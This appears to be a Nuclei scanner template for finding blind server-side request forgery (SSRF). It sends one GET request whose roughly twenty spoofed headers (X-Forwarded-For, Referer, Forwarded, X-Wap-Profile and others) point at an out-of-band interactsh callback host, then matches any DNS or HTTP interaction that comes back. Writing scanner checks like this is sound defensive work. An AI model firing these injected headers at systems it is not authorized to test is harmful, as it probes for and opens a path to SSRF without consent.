id: oob-header-based-interaction

info:
  name: Header Based Generic OOB Interaction
  author: pdteam
  severity: info
  description: The remote server fetched a spoofed URL from the request headers.
  reference:
    - https://github.com/PortSwigger/collaborator-everywhere
  classification:
    cwe-id: CWE-918
  metadata:
    max-request: 1
  tags: oast,ssrf,generic,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@{{interactsh-url}}
      Referer: http://{{interactsh-url}}/ref
      Cf-Connecting_ip: spoofed.{{interactsh-url}}
      X-Real-Ip: spoofed.{{interactsh-url}}
      From: root@{{interactsh-url}}
      True-Client-Ip: spoofed.{{interactsh-url}}
      Client-Ip: spoofed.{{interactsh-url}}
      Forwarded: for=spoofed.{{interactsh-url}};by=spoofed.{{interactsh-url}};host=spoofed.{{interactsh-url}}
      X-Client-Ip: spoofed.{{interactsh-url}}
      X-Originating-Ip: spoofed.{{interactsh-url}}
      X-Wap-Profile: http://{{interactsh-url}}/wap.xml
      X-Forwarded-For: spoofed.{{interactsh-url}}
      Contact: root@{{interactsh-url}}
      X-Forwarded-Host: spoofed.{{interactsh-url}}
      X-Host: spoofed.{{interactsh-url}}
      X-Forwarded-Server: spoofed.{{interactsh-url}}
      X-HTTP-Host-Override: spoofed.{{interactsh-url}}
      Profile: http://{{interactsh-url}}/profile.xml
      Cache-Control: no-transform

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: word
        part: interactsh_protocol
        name: dns
        words:
          - "dns"
# digest: 4a0a00473045022100cafe6957abd6d51552f220b70adfda1a6e809eed48c4b6b99d33af2720d4541b022022601df25bd5acb65eac7c04a41f0d88e338d2fe353e9b6ab4271c5940a14a7f:922c64590222798bb761d5b6d8e72950